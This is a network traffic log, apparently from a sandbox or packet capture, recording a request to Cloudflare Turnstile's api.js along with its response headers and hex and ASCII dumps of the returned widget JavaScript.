2024-12-17 20:36:49 UTC	383	OUT	GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 20:36:50 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 20:36:50 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 10 Dec 2024 17:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f39b52518da4372-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 20:36:50 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-17 20:36:50 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-17 20:36:50 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-17 20:36:50 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-17 20:36:50 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-17 20:36:50 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-17 20:36:50 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-17 20:36:50 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-17 20:36:50 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-17 20:36:50 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style